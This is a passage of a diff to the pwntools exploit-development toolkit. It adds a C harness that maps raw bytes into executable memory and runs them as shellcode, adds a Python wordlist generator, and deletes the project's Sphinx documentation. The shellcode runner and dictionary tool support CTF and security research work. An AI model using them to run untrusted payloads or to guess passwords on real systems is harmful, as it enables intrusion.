+  if (argc != 2) {
+    fprintf(stderr, "Usage: %s (<filename>|-)\n", argv[0]);
+    return EXIT_FAILURE;
+  }
+
+  if (strcmp(argv[1], "-") == 0) {
+    bufsize = 4096;
+    p = malloc(bufsize);
+    z = 0;
+    numb = 0;
+    while ((c = getchar()) != EOF) {
+      if (numb == bufsize) {
+        bufsize += 4096;
+        p = realloc(p, bufsize);
+      }
+      p[numb++] = c;
+      if (c == '\0') z++;
+    }
+
+    if ((shellcode = mmap(NULL, numb, PROT_READ | PROT_EXEC | PROT_WRITE,
+                          MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) {
+      perror("mmap() failed");
+      return EXIT_FAILURE;
+    }
+    memcpy(shellcode, p, numb);
+    free(p);
+  } else {
+    if ((fd = open(argv[1], O_RDONLY)) < 0) {
+      perror("open() failed");
+      return EXIT_FAILURE;
+    }
+    if (fstat(fd, &sbuf)) {
+      perror("fstat() failed");
+      return EXIT_FAILURE;
+    }
+    if ((shellcode = mmap(NULL, sbuf.st_size, PROT_READ | PROT_EXEC | PROT_WRITE,
+                          MAP_PRIVATE, fd, 0)) == MAP_FAILED) {
+      perror("mmap() failed");
+      return EXIT_FAILURE;
+    }
+
+    close(fd);
+    for (i = 0, z = 0, p = (void *)shellcode; i < sbuf.st_size; i++) {
+      if (p[i] == '\0') z++;
+    }
+    numb = sbuf.st_size;
+  }
+
+  printf("Read %d bytes of shell code. Here goes.\n", numb);
+  if (z > 0) printf("Shellcode contains %d zero bytes.\n", z);
+  printf("~~~ Running shellcode ~~~\n");
+
+  shellcode();
+
+  /* should not be reached */
+  return EXIT_FAILURE;
+}

dictgen/dictgen

@@ -0,0 +1,94 @@
+#!/usr/bin/env python
+import sys, os, warnings
+from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter
+
+DEFAULT_ALPHABET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
+DEFAULT_ALPHABET_SHORT = 'a-zA-Z0-9'
+DEFAULT_SYMBOLS = '-/?!'
+
+if __name__ == "__main__":
+    try:
+        p = ArgumentParser(description='Generate dictionary',
+                           formatter_class=ArgumentDefaultsHelpFormatter)
+        p.add_argument('-o', '--output',
+                       default='STD_OUT',
+                       metavar='<file>',
+                       help='Output')
+        p.add_argument('input',
+                       default='STD_IN',
+                       nargs='*',
+                       metavar='<file>',
+                       help='Input(s)')
+        p.add_argument('-a', '--alphabet',
+                       default=DEFAULT_ALPHABET_SHORT,
+                       metavar='<string>',
+                       help='Alphabet')
+        p.add_argument('-s', '--symbols',
+                       default=DEFAULT_SYMBOLS,
+                       metavar='<string>',
+                       help='Symbols.  Will be treated as alphabet *and* non-alphabet characters, i.e. "twenty-three" results in the dictionary "twenty, three, twenty-three"')
+        args = p.parse_args()
+        if args.alphabet == DEFAULT_ALPHABET_SHORT:
+            alph = DEFAULT_ALPHABET
+        else:
+            alph = args.alphabet
+        symb = args.symbols
+        out = args.output
+        if args.input == 'STD_IN':
+            args.input = ['/dev/stdin']
+        d = set()
+        w = []
+        start = True
+        def add ():
+            global d, w
+            for word in w:
+                d.add(''.join(word))
+        for f in args.input:
+            try:
+                src = open(f)
+            except IOError as (_, e):
+                print 'Could not open "%s": %s' % (out, e)
+                dst.close()
+                exit(0)
+            while True:
+                c = src.read(1)
+                if c == '':
+                    src.close()
+                    break
+                if c in alph:
+                    for word in w:
+                        word.append(c)
+                    if start:
+                        w.append([c])
+                    start = False
+                else:
+                    add()
+                    if c in symb:
+                        for word in w:
+                            word.append(c)
+                    else:
+                        w = []
+                    start = True
+            add()
+            w = []
+
+        if out == 'STD_OUT':
+            dst = sys.stdout
+        else:
+            try:
+                dst = open(out, 'w')
+            except IOError as (_, e):
+                print 'Could not open "%s": %s' % (out, e)
+                with warnings.catch_warnings():
+                    warnings.simplefilter("ignore")
+                    try:
+                        fn = os.tmpnam()
+                        dst = open(fn, 'w')
+                        print '(Writing output to "%s" instead.)' % fn
+                    except:
+                        exit(0)
+        for word in d:
+            dst.write(word)
+            dst.write('\n')
+    except KeyboardInterrupt:
+        print ''

docs/.gitignore

@@ -1,2 +0,0 @@
-build
-robots.txt

docs/Makefile

@@ -1,153 +0,0 @@
-# Makefile for Sphinx documentation
-#
-
-# You can set these variables from the command line.
-SPHINXOPTS    =
-SPHINXBUILD   = sphinx-build
-PAPER         =
-BUILDDIR      = build
-
-# Internal variables.
-PAPEROPT_a4     = -D latex_paper_size=a4
-PAPEROPT_letter = -D latex_paper_size=letter
-ALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
-# the i18n builder cannot share the environment and doctrees with the others
-I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
-
-.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
-
-help:
-	@echo "Please use \`make <target>' where <target> is one of"
-	@echo "  html       to make standalone HTML files"
-	@echo "  dirhtml    to make HTML files named index.html in directories"
-	@echo "  singlehtml to make a single large HTML file"
-	@echo "  pickle     to make pickle files"
-	@echo "  json       to make JSON files"
-	@echo "  htmlhelp   to make HTML files and a HTML help project"
-	@echo "  qthelp     to make HTML files and a qthelp project"
-	@echo "  devhelp    to make HTML files and a Devhelp project"
-	@echo "  epub       to make an epub"
-	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
-	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
-	@echo "  text       to make text files"
-	@echo "  man        to make manual pages"
-	@echo "  texinfo    to make Texinfo files"
-	@echo "  info       to make Texinfo files and run them through makeinfo"
-	@echo "  gettext    to make PO message catalogs"
-	@echo "  changes    to make an overview of all changed/added/deprecated items"
-	@echo "  linkcheck  to check all external links for integrity"
-	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
-
-clean:
-	-rm -rf $(BUILDDIR)/*
-
-html:
-	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
-
-dirhtml:
-	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
-
-singlehtml:
-	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
-	@echo
-	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
-
-pickle:
-	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
-	@echo
-	@echo "Build finished; now you can process the pickle files."
-
-json:
-	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
-	@echo
-	@echo "Build finished; now you can process the JSON files."
-
-htmlhelp:
-	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
-	@echo
-	@echo "Build finished; now you can run HTML Help Workshop with the" \
-	      ".hhp project file in $(BUILDDIR)/htmlhelp."
-
-qthelp:
-	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
-	@echo
-	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
-	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
-	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/pwntools.qhcp"
-	@echo "To view the help file:"
-	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/pwntools.qhc"
-
-devhelp:
-	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
-	@echo
-	@echo "Build finished."
-	@echo "To view the help file:"
-	@echo "# mkdir -p $$HOME/.local/share/devhelp/pwntools"
-	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/pwntools"
-	@echo "# devhelp"
-
-epub:
-	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
-	@echo
-	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
-
-latex:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo
-	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
-	@echo "Run \`make' in that directory to run these through (pdf)latex" \
-	      "(use \`make latexpdf' here to do that automatically)."
-
-latexpdf:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo "Running LaTeX files through pdflatex..."
-	$(MAKE) -C $(BUILDDIR)/latex all-pdf
-	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
-
-text:
-	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
-	@echo
-	@echo "Build finished. The text files are in $(BUILDDIR)/text."
-
-man:
-	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
-	@echo
-	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
-
-texinfo:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo
-	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
-	@echo "Run \`make' in that directory to run these through makeinfo" \
-	      "(use \`make info' here to do that automatically)."
-
-info:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo "Running Texinfo files through makeinfo..."
-	make -C $(BUILDDIR)/texinfo info
-	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
-
-gettext:
-	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
-	@echo
-	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
-
-changes:
-	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
-	@echo
-	@echo "The overview file is in $(BUILDDIR)/changes."
-
-linkcheck:
-	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
-	@echo
-	@echo "Link check complete; look for any errors in the above output " \
-	      "or in $(BUILDDIR)/linkcheck/output.txt."
-
-doctest:
-	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
-	@echo "Testing of doctests in the sources finished, look at the " \
-	      "results in $(BUILDDIR)/doctest/output.txt."

docs/requirements.txt

@@ -1,6 +0,0 @@
-paramiko
-argparse
-mako
-pyelftools
-sphinxcontrib-napoleon
-sphinxcontrib-autoprogram

docs/source/about.rst

@@ -1,56 +0,0 @@
-About pwntools
-========================
-
-Whether you're using it to write exploits, or as part
-of another software project will dictate how you use it.
-
-Historically pwntools was used as a sort of exploit-writing DSL. Simply doing
-``from pwn import *`` in a previous version of pwntools would bring all sorts of
-nice side-effects.
-
-When redesigning pwntools for 2.0, we noticed two contrary goals:
-
-* We would like to have a "normal" python module structure, to allow other
-  people to faster get familiar with how pwntools works.
-* We would like to have even more side-effects, especially by putting the
-  terminal in raw-mode.
-
-To make this possible, we decided to have two different modules. :mod:`pwnlib`
-would be our nice, clean Python module, while :mod:`pwn` would be used during
-CTFs.
-
-:mod:`pwn` --- Toolbox optimized for CTFs
------------------------------------------
-
-.. module:: pwn
-
-As stated, we would also like to have the ability to get a lot of these
-side-effects by default. That is the purpose of this module. It does
-the following:
-
-* Imports everything from the toplevel :mod:`pwnlib` along with
-  functions from a lot of submodules. This means that if you do
-  ``import pwn`` or ``from pwn import *``, you will access to
-  everything you need to write an exploit.
-* Calls :func:`pwnlib.term.init` to put your terminal in raw mode
-  and implementing functionality to make it look like it is not.
-* Setting the :data:`pwnlib.context.log_level` to `"info"`.
-* Tries to parse some of the values in :data:`sys.argv` and every
-  value it succeeds in parsing it removes.
-
-:mod:`pwnlib` --- Normal python library
----------------------------------------
-
-.. module:: pwnlib
-
-This module is our "clean" python-code. As a rule, we do not think that
-importing :mod:`pwnlib` or any of the submodules should have any significant
-side-effects (besides e.g. caching).
-
-For the most part, you will also only get the bits you import. You for instance
-not get access to :mod:`pwnlib.util.packing` simply by doing ``import
-pwnlib.util``.
-
-Though there are a few exceptions (such as :mod:`pwnlib.shellcraft`), that does
-not quite fit the goals of being simple and clean, but they can still be
-imported without implicit side-effects.

docs/source/asm.rst

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.asm import *
-   from pwnlib import shellcraft
-
-:mod:`pwnlib.asm` --- Assembler functions
-=========================================
-
-.. automodule:: pwnlib.asm
-   :members:

docs/source/atexception.rst

@@ -1,5 +0,0 @@
-:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
-==============================================================
-
-.. automodule:: pwnlib.atexception
-   :members:

docs/source/atexit.rst

@@ -1,5 +0,0 @@
-:mod:`pwnlib.atexit` --- Replacement for atexit
-===============================================
-
-.. automodule:: pwnlib.atexit
-   :members:

docs/source/commandline.rst

@@ -1,46 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   old = context.defaults.copy()
-
-.. testcleanup:: *
-
-    context.defaults.copy = old
-
-Command Line Tools
-========================
-
-pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
-
-.. toctree::
-
-.. autoprogram:: pwnlib.commandline.asm:parser
-   :prog: asm
-
-.. autoprogram:: pwnlib.commandline.constgrep:p
-   :prog: constgrep
-
-.. autoprogram:: pwnlib.commandline.cyclic:parser
-   :prog: cyclic
-
-.. autoprogram:: pwnlib.commandline.disasm:parser
-   :prog: disasm
-
-.. autoprogram:: pwnlib.commandline.elfdiff:p
-   :prog: elfdiff
-
-.. autoprogram:: pwnlib.commandline.elfpatch:p
-   :prog: elfpatch
-
-.. autoprogram:: pwnlib.commandline.hex:parser
-   :prog: hex
-
-.. autoprogram:: pwnlib.commandline.phd:parser
-   :prog: phd
-
-.. autoprogram:: pwnlib.commandline.shellcraft:p
-   :prog: shellcraft
-
-.. autoprogram:: pwnlib.commandline.unhex:parser
-   :prog: unhex
-